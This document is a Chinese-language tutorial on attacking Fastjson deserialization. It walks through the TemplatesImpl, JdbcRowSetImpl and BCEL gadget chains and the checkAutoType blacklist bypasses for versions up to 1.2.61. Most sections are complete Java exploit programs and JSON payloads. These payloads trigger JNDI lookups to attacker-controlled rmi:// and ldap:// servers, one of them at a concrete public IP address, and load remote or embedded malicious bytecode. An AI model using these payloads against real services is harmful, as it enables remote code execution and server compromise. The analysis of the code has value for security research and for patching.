Java反序列化Fastjson篇02-FastJson攻击方式

0x00 前言

本文先讲解fastjson版本低于1.1.25的gadget,再讲解高版本绕过。

0x01 gadget <= 1.1.24

概述

FastJson反序列化与Serializable反序列化的区别:

FastJson反序列化 Serializable反序列化
接口实现 不需要实现接口 需要实现java.io.Serializable接口
类的要求 属性要有setter或者getter 类要有readObject方法
属性要求 属性有对应的setter或者是public或者是符合的getter 属性不能是transient
触发点 setter或者getter readObject方法

FastJson反序列化一般的思路,也是先寻找执行点,再一步步寻找setter或者getter。

TemplatesImpl

payload存放字节码,不出网。

TemplatesImpl 类常用于cc链等加载字节码。

在TemplatesImpl #defineTransletClasses()里有这么一串代码:

image-20250316213420102

这就是TemplatesImpl 类加载字节码的地方。

该方法并不是setter或者getter,其中比如_bytecodes等属性的赋值也需要依靠setter来完成,这些都是需要满足的条件。

就不一步步寻找了,直接给出调用链:

1
getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> loader.defineClass(_bytecodes[i])

这些方法都在TemplatesImpl 类,并且入口方法是满足条件的getter:

满足条件的setter:

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

TemplatesImpl 类的这种攻击方式并不常用,因为其属性都是private,所以需要特定的配置:Feature.SupportNonPublicField

给出POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;

import java.io.File;
import java.io.FileInputStream;

import org.apache.commons.codec.binary.Base64;

import org.apache.commons.io.IOUtils;

public class FastJsonTemplatesImpl {
public static void main(String[] args) throws Exception{
/**
* 思路如下:
* getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> loader.defineClass(_bytecodes[i])
*/
final String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
final String classPath = "E:/all_test/test_java/com/Unserialize/fastjson/target/classes/Calc.class";
String classBase64Data = readClass(classPath);
ParserConfig config = new ParserConfig();
String JSONPoc = "{\"@type\":\""
+ className +
"\",\"_bytecodes\":[\""
+ classBase64Data +
"\"],\"_name\":\"Pax\",\"_tfactory\":{},\"_outputProperties\":{}}";
System.out.println(JSONPoc);
Object object = JSON.parseObject(JSONPoc, Object.class, config, Feature.SupportNonPublicField);
}
public static String readClass(String clazz) throws Exception {
ByteOutputStream byteOutputStream = new ByteOutputStream();
IOUtils.copy(new FileInputStream(new File(clazz)), byteOutputStream);
return Base64.encodeBase64String(byteOutputStream.toByteArray());
}
}

JdbcRowSetImpl

利用JNDI,要出网,受到对应依赖和版本限制。

问题出在JdbcRowSetImpl.JdbcRowSetImpl#connect()这里:

image-20250316215728449

发起了JNDI请求,地址是dataSourceName属性提供的。

利用链:

1
setAutoCommit() -> connect() -> ctx.lookup(getDataSourceName())

具体流程自行探究,并不难。给出POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;

public class FastJsonJdbcRowSetImpl {
public static void main(String[] args) throws Exception{
// 版本限制,依赖限制,出网
/**
* 思路如下:
* 首先,使得getDataSourceName()!=null
* 其次,访问com.sun.rowset.JdbcRowSetImpl的setAutoCommit方法,conn=null,进入connect方法
* 最后,进入ctx.lookup方法
*/
String className = "com.sun.rowset.JdbcRowSetImpl";
String JNDIURL = "rmi://xxx.xxx.xxx.xxx:xxxxx/xxxxx";
String JSONPoc =
"{\"@type\":" +
"\"" + className + "\"" +
",\"dataSourceName\":" +
"\"" + JNDIURL + "\"" +
",\"autoCommit\":1" +
"}";
System.out.println(JSONPoc);
Object object = JSON.parseObject(JSONPoc);
}

}

bcel.ClassLoader

payload存放字节码,不出网。

BCEL依赖:

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>

问题出在com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass()这里:

image-20250316221056096

这里的loadClass方法参数如下:

image-20250316221331270

class_name参数实际上是特殊编码后的字节码数据,换言之,loadClass方法可以接受字节码参数。至于采用何种编码,根据源码逻辑不难想到。

显然loadClass方法不能作为触发点,那么就寻找调用。调用点所在方法必须是setter或者特定的getter,但如果解析方法不是JSON.parse方法而是JSON.parseObject方法,就对getter没有要求——toJSON方法会调用全部的setter和getter。

在寻找的过程中,我们也要注意必要的分支条件是否满足,其往往是对一些属性进行判断。如果对属性有要求,我们也要关注这些属性的setter等方法。

给出POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.nio.file.Files;
import java.nio.file.Paths;

public class FastJsonBCEL {
public static void main(String[] args) throws Exception{
/**
* 思路如下:
* 本质上是字节码加载并实例化导致的漏洞。
* 在toJSON方法里,目标类所有的setter和getter都会被调用,调用类如下:
* getConnection() -> createDataSource() -> createConnectionFactory() -> Class.forName(driverClassName, true, driverClassLoader)
* 然后到BCEL里的ClassLoader类,该类的classLoader可以把字节码参数反序列化为对象,进而造成攻击。
*/
// 编码字节码,用作 driverClassName
ClassLoader classLoader = new ClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("E:/all_test/test_java/com/Unserialize/fastjson/target/classes/Calc1.class"));
String str = Utility.encode(bytes,true);
str = "$$BCEL$$" + str;
// 为POC构造作前置条件
String className = "org.apache.tomcat.dbcp.dbcp2.BasicDataSource";
String driverClassName = str;
String driverClassLoader = "{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}";
// 构造POC并实验
String poc= "{\"@type\":" +
"\"" + className + "\"" +
",\"driverClassName\":" +
"\"" + driverClassName + "\"" +
",\"driverClassLoader\":" +
driverClassLoader +
"}";
System.out.println(poc);
JSONObject object = JSON.parseObject(poc);

}
}

给出一个问题:

细心的读者发现,在TemplatesImpl 攻击方法和bcel.ClassLoader攻击方法,我所采用的恶意字节码源码其实是有所差别的。具体差别自行探索,关于一个接口。

小结

三种方法,有远程加载字节码也有本地加载字节码(攻击者本地)。

本质上都不难理解,先寻找一个执行危险方法的点,再一直寻找到setter和getter等方法,中途需要关注各个属性,其也需要setter来操控。

0x02 fastjson各版本绕过

如无特殊说明,都以com.sun.rowset.JdbcRowSetImpl链为例。

概述

宏观概述

前面采用的fastjson依赖是fastjson1.1.24,在1.1.25版本fastjson做了修复,修补方案就是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass方法替换为checkAutoType方法。

fastjson < 1.1.25

image-20250316230516612

fastjson >= 1.1.25

image-20250316230642969

跟进checkAutoType方法,发现该方法有很多if分支,但是近乎没有else,如此我们就无法判断不满足if条件的时候会出现什么情况,无形之中加大了难度。

该方法的流程,B站白日梦组长有制作对应的流程图,这里给出相关视频链接:fastjson反序列化漏洞3-<=1.2.47绕过_哔哩哔哩_bilibili

autoTypeSupport

autoTypeSupport是checkAutoType()函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()函数的某些代码逻辑起到开关的作用。

默认情况下autoTypeSupport为False,将其设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

AutoType白名单设置方法:

  1. JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  2. 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");
  3. 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

流程分析

默认情况下,autoTypeSupport = false,expectClass = null。下文以默认情况autoTypeSupport = false的视角讲解:

首先就是判断两个属性,为真则进入黑白名单的判断,白名单可以加载类,但是这些类并不符合预期;黑名单存放常规危险类所在包,遇到就抛异常。显然我们进入不了黑白名单的判断,就算可以进入,黑白名单也限制的很死。

image-20250316231649904

接着往下看。先进行两次查缓存表,第一次直接查找对应的类,第二次查找对应的反序列化器。因为expectClass参数默认是null,所以下面的分支不会进去。

image-20250316231924429

试想,我们是否可以尝试在这两个缓存表里写入预期的类或者反序列化器,这样就可以进行类加载了。

先往下看。下面又进行了一次黑白名单,略。

假设成功利用上面的表加载了类,下面还要进行一次判断:

image-20250316232650597

后面也没什么值得注意的了。

1.2.25 - 1.2.41

  • 需要开启 AutoTypeSupport

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package Bybass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class BypassFrom1_2_25To1_2_41 {
public static void main(String[] args) throws Exception{
/**
* 链子:com.sun.rowset.JdbcRowSetImpl
* AutoTypeSupport:true
* 绕过方法:com.sun.rowset.JdbcRowSetImpl 前面加一个 L,结尾加上 ; 绕过
*/
String className = "Lcom.sun.rowset.JdbcRowSetImpl;";
String JNDIURL = "rmi://xxx.xxx.xxx.xxx:50388/6bac65";
String JSONPoc =
"{\"@type\":" +
"\"" + className + "\"" +
",\"dataSourceName\":" +
"\"" + JNDIURL + "\"" +
",\"autoCommit\":1" +
"}";
System.out.println(JSONPoc);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Object object = JSON.parseObject(JSONPoc);

}
}

分析

简单的一个绕过。顺着checkAutoType方法的逻辑走到这里:

image-20250318171220412

TypeUtils.loadClass方法有这么一段处理:

image-20250318171357242

没错,在进入TypeUtils.loadClass方法之前就要面对黑名单,但是Lcom.sun.rowset.JdbcRowSetImpl;类显然是不存在的类,所以黑名单不存在该“类”,自然就通过了黑名单。

为什么不存在这样的类?其实这种LclassName;的写法是className对应的数组类的写法,但是数组类是没有对应的静态字节码文件的。

往深处思考,我们的目的是进行类加载,更确切地说,是先通过黑名单,再进行类加载。通过黑名单很简单,随便写个乱七八糟的字符串都可以。但是要保证通过黑名单的该类可以进行类加载,就需要去看后面类加载(loadClass方法)的相关源码,看看是否存在关于字符串的识别逻辑。

所以说,漏洞并不只是出现在一个地方,有些漏洞是多个地方互相配合的时候产生的。这就要求我们在进行代码审计的时候,仔细通读整个流程的代码,哪怕是旁支末节甚至看起来不可能调用到的地方,都要分析一下。

1.2.25 - 1.2.42

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package Bybass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class BypassFrom1_2_25To1_2_42 {
public static void main(String[] args) throws Exception{
/**
* 链子:com.sun.rowset.JdbcRowSetImpl
* AutoTypeSupport:true
* 绕过方法:com.sun.rowset.JdbcRowSetImpl 前面加 LL,结尾加上 ;; 绕过
*/
String className = "LLcom.sun.rowset.JdbcRowSetImpl;;";
String JNDIURL = "rmi://xxx.xxx.xxx.xxx:50388/d6a1f3";
String JSONPoc =
"{\"@type\":" +
"\"" + className + "\"" +
",\"dataSourceName\":" +
"\"" + JNDIURL + "\"" +
",\"autoCommit\":1" +
"}";
System.out.println(JSONPoc);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Object object = JSON.parseObject(JSONPoc);

}
}

分析

在黑名单检查之前,先来删除首尾的L和**”**:

image-20250318203028605

那我如果再加一层L和**”**呢?这么设计代码,我感觉有点小问题啊!

1.2.25 - 1.2.43

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package Bybass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class BypassFrom1_2_25To1_2_43 {
public static void main(String[] args) throws Exception{
/**
* 链子:com.sun.rowset.JdbcRowSetImpl
* AutoTypeSupport:true
* 绕过方法:"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
*/
String className = "[com.sun.rowset.JdbcRowSetImpl";
String JNDIURL = "rmi://xxx.xxx.xxx.xxx:50388/d6a1f3";
String JSONPoc =
"{\"@type\":" +
"\"" + className + "\"[{" +
",\"dataSourceName\":" +
"\"" + JNDIURL + "\"" +
",\"autoCommit\":1" +
"}";
System.out.println(JSONPoc);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Object object = JSON.parseObject(JSONPoc);
}
}

分析

这一段把前面两种方法一网打尽:

image-20250318210245068

但是我们发现在删除L和**;的代码上面,还有对[**的处理:

image-20250318210430820

那么就在类前面直接加一个**[**,会报错:

image-20250318210908690

满足它,再来:

image-20250318210651716

再满足它,成功:

image-20250318210836780

1.2.25 - 1.2.45

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package Bybass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class BypassFrom1_2_25To1_2_45 {
public static void main(String[] args) throws Exception{
String JSONPoc = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://xxx.xxx.xxx.xxx:50388/d6a1f3\"}}";
System.out.println(JSONPoc);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Object object = JSON.parseObject(JSONPoc);
}
}

分析

有兴趣的自行探究,不难。

主要是黑名单绕过,这个类我们在哈希黑名单中1.2.46的版本中可以看到:

version hash hex-hash name
1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource

1.1.25 - 1.2.47 通杀

  • 通杀,不需要开启 AutoTypeSupport

思路其实很有意思。我们要走的分支是缓存表加载类,缓存表(mappings)如下:

image-20250317215249068

mappings要有可以攻击的类才行,比如TemplatesImpl类、JdbcRowSetImpl类(下文以JdbcRowSetImpl类为例)。不难得知,mappings没有这些类,所以我们得自己添加这些类到mappings。

从宏观上来说,添加类到mappings这一个动作,得由FastJson反序列化(parseObject方法)来触发。所以我们希望存在这么一个类,在进行FastJson反序列化时,把目标类添加到mappings里面。

不难想到,本次的POC里至少需要涉及两个类的反序列化,而前面类的反序列化是为了把目标类添加到mappings里,使得最后的目标类可以进行类加载,进而达成反序列化攻击。

下面先给出添加类到mappings这一动作的调用链(第一个对象反序列化流程):

·> parseObject(“{“@type”:”java.lang.Class”,”val”:”com.sun.rowset.JdbcRowSetImpl”}”)

-> config.checkAutoType(typeName, null)

-> TypeUtils.getClassFromMapping(typeName)

-> this.config.getDeserializer(clazz)

-> MiscCodec.deserialze()

-> TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader())

-> mappings.put(className, clazz)

第一个反序列化的类是java.lang.Class,因为该类的反序列化器是MiscCodec,该反序列化器的deserialze方法会进行put操作,且put的参数可空。至于参数为什么叫val,没搞懂。

讲得比较大概,希望读者自行调试,建议先写POC,再动态调试,不要急,慢慢调试搞清楚流程。POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package Bybass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class byMiscCodecFrom1_1_25 {
public static void main(String[] args) throws Exception{
/**
* 思路:
* 本链走“ 缓存表 ”逻辑,那么需要一个put事件,该事件由第一个对象反序列化完成,使得第二个对象可以在mappings找到并加载类,进而达成反序列化攻击。
* 第一个对象:java.lang.Class
* 该类在缓存map里对应的反序列化器是MiscCodec类,MiscCodec类的deserialze方法会使参数val=com.sum.rowset.jdbcRowSetImpl插入mapping缓存表
* 第二个对象:com.sum.rowset.jdbcRowSetImpl
* 前面已经把该类put到缓存表了,那么按照正常逻辑进行攻击即可
* 重点:
* 在第一个对象反序列化时,关注Java程序如何把com.sum.rowset.jdbcRowSetImpl插入缓存表
* 调用链:
* parseObject("{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}") -> config.checkAutoType(typeName, null) -> TypeUtils.getClassFromMapping(typeName) -> this.config.getDeserializer(clazz)-> MiscCodec.deserialze() -> TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()) -> mappings.put(className, clazz)
*
*
*/
// String s1 = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"},{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"恶意字节码\"],\"_name\":\"Pax\",\"_tfactory\":{},\"_outputProperties\":{}}}";
// ParserConfig config = new ParserConfig();
// Object object = JSON.parseObject(s1, Object.class, config, Feature.SupportNonPublicField);
String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://120.26.138.45:50389/7ed496\",\"autoCommit\":1}}";
System.out.println(s);
Object o = JSON.parseObject(s);

}
}

实际使用fastjson1.2.47走到checkAutoType的时候会发现和1.2.25是不一样的:

FastJson1.2.42开始,原先的denyLists黑名单变成了一个哈希表,防止安全人员研究这玩意来进行绕过,但是在这个版本还是没防住通过向mappings添加类名来达到类加载的绕过。已破解开的黑名单哈希如下:https://github.com/LeadroyaL/fastjson-blacklist

简单来说,由于checkAutoType方法不够完善,使得攻击者可以先反序列化一次往mappings里put目标类,然后再进行一次目标类的反序列化进行攻击。

如果不使用第一种方法,也就是写入缓存表,那我们只能尝试黑名单绕过。如果AutoTypeSupport是关闭的,那么即使绕过了黑名单也没有类加载的逻辑,所以下文的AutoTypeSupport开关得打开。

下面几个版本就照搬Drunkbaby师傅的:

1.2.5 - 1.2.59

1
2
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

1.2.5 - 1.2.60

需要开启 autoType:

JAVA

1
2
3
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

1.2.5 - 1.2.61

JAVA

1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/ExportObject"}

更高版本的先放一个Drunkbaby师傅的文章链接在这里:

Java反序列化Fastjson篇04-Fastjson1.2.62-1.2.68版本反序列化漏洞 | Drunkbaby’s Blog

0x03 参考教程

fastjson - Potat0w0

Java反序列化Fastjson篇03-Fastjson各版本绕过分析 | Drunkbaby’s Blog